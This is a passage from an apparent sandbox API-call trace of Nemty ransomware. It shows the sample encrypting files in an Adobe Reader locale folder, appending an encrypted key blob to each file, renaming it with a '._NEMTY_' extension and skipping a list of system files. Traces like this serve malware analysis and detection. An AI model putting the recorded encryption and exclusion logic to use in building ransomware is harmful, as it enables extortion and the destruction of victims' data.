lpOverlapped=0x0) returned 1 [0186.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0186.156] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0186.156] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0186.156] CloseHandle (hObject=0x2e8) returned 1 [0186.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0186.156] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.156] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0186.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0186.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0186.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.156] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\updater.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\updater.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\updater.CHS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\updater.chs._nemty_kgobjgd_")) returned 1 [0186.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0186.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0186.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0186.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0186.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0186.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.157] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d93300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Weblink.CHS", cAlternateFileName="")) returned 1 [0186.157] lstrcmpiW (lpString1="Weblink.CHS", lpString2=".") returned 1 [0186.157] lstrcmpiW (lpString1="Weblink.CHS", lpString2="..") returned 1 [0186.157] lstrcmpiW (lpString1="Weblink.CHS", lpString2="...") returned 1 [0186.157] lstrcmpiW (lpString1="Weblink.CHS", lpString2="windows") returned -1 [0186.157] lstrcmpiW (lpString1="Weblink.CHS", lpString2="$RECYCLE.BIN") returned 1 [0186.157] lstrcmpiW (lpString1="Weblink.CHS", lpString2="rsa") returned 1 [0186.157] lstrcmpiW (lpString1="Weblink.CHS", lpString2="NTDETECT.COM") returned 1 [0186.157] lstrcmpiW (lpString1="Weblink.CHS", lpString2="ntldr") returned 1 [0186.157] lstrcmpiW (lpString1="Weblink.CHS", lpString2="MSDOS.SYS") returned 1 [0186.157] lstrcmpiW (lpString1="Weblink.CHS", lpString2="IO.SYS") returned 1 [0186.157] lstrcmpiW (lpString1="Weblink.CHS", lpString2="boot.ini") returned 1 [0186.157] lstrcmpiW (lpString1="Weblink.CHS", lpString2="boot.ini") returned 1 [0186.157] lstrcmpiW (lpString1="Weblink.CHS", lpString2="AUTOEXEC.BAT") returned 1 [0186.157] lstrcmpiW (lpString1="Weblink.CHS", lpString2="ntuser.dat") returned 1 [0186.158] lstrcmpiW (lpString1="Weblink.CHS", lpString2="desktop.ini") returned 1 [0186.158] lstrcmpiW (lpString1="Weblink.CHS", lpString2="CONFIG.SYS") returned 1 [0186.158] lstrcmpiW (lpString1="Weblink.CHS", lpString2="RECYCLER") returned 1 [0186.158] lstrcmpiW (lpString1="Weblink.CHS", lpString2="BOOTSECT.BAK") returned 1 [0186.158] lstrcmpiW (lpString1="Weblink.CHS", lpString2="bootmgr") returned 1 [0186.158] lstrcmpiW (lpString1="Weblink.CHS", lpString2="programdata") returned 1 [0186.158] lstrcmpiW (lpString1="Weblink.CHS", lpString2="appdata") returned 1 [0186.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.158] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.CHS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0186.158] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.CHS", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.CHS", lpUsedDefaultChar=0x0) returned 11 [0186.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.158] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.CHS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0186.158] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.CHS", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.CHS", lpUsedDefaultChar=0x0) returned 11 [0186.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.158] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.CHS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0186.158] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.CHS", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.CHS", lpUsedDefaultChar=0x0) returned 11 [0186.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.158] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.CHS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0186.158] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.CHS", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.CHS", lpUsedDefaultChar=0x0) returned 11 [0186.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0186.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0186.158] Sleep (dwMilliseconds=0x5) [0186.168] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x229c9df0, dwHighDateTime=0x1d561e8)) [0186.168] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x229c9df0, dwHighDateTime=0x1d561e8)) [0186.168] GetLastError () returned 0x0 [0186.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.168] GetLastError () returned 0x0 [0186.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.169] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.169] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0186.169] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0186.169] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0186.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0186.169] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="XBOYPpTR3kXuZzF1fHW+7EH8b+yto5+VLnIvG29VGKGaDatxvl9HBkcN/GXlQf0F\r\nLWsLNmrQ3vEsdVg7SEl8NCcv3d80RQX12GYfthCS1Z3r2DS8Bd0wTYjEuUK4SEjb\r\nOS+CmB/fB8yfKQZHrwuE9rvROIxUJEEQJeCRG4uPx66H+wFZAmiMOS0Ug+kYISb9\r\nVWzPDWw2M/KmtSWe8/rkVKYfIGAFuqaeNRJnARAGG7WWeoIxNbf1dXS6fgaOTe4V\r\n50LQRmnxObYP6EvQEtVzzx+asCcN7DtbpJBgixfkwJXhLXnSjfe53p0vQjvOLVrX\r\nfDHMjtm57SMZUEFog/wAbA==\r\n", pcchString=0x653e5dc) returned 1 [0186.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0186.169] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.169] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0186.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0186.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0186.169] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Weblink.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\weblink.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0186.169] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=19968) returned 1 [0186.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4e00) returned 0x6352c48 [0186.170] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.170] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4e00, lpOverlapped=0x0) returned 1 [0186.176] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.176] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4e00, lpOverlapped=0x0) returned 1 [0186.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0186.176] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=19968, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4e00 [0186.176] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0186.176] CloseHandle (hObject=0x2e8) returned 1 [0186.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0186.176] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.176] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0186.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0186.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0186.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.176] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Weblink.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\weblink.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Weblink.CHS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\weblink.chs._nemty_kgobjgd_")) returned 1 [0186.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0186.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0186.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0186.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0186.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0186.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.177] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22579610, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x22579610, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x22579610, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0186.177] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0186.177] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0186.177] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0186.177] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0186.177] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0186.177] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0186.177] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0186.177] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0186.177] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0186.177] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0186.178] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0186.178] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0186.178] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0186.178] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0186.178] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0186.178] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0186.178] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0186.178] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0186.178] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0186.178] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0186.178] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0186.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.178] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0186.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.178] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0186.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0186.178] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0186.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.178] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0186.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0186.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.178] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0186.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.178] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0186.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.178] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0186.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.178] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0186.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0186.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.179] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22579610, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x22579610, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x22579610, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0186.179] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0186.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0186.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0186.179] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1 [0186.179] lstrcmpiW (lpString1="zh_TW", lpString2=".") returned 1 [0186.179] lstrcmpiW (lpString1="zh_TW", lpString2="..") returned 1 [0186.179] lstrcmpiW (lpString1="zh_TW", 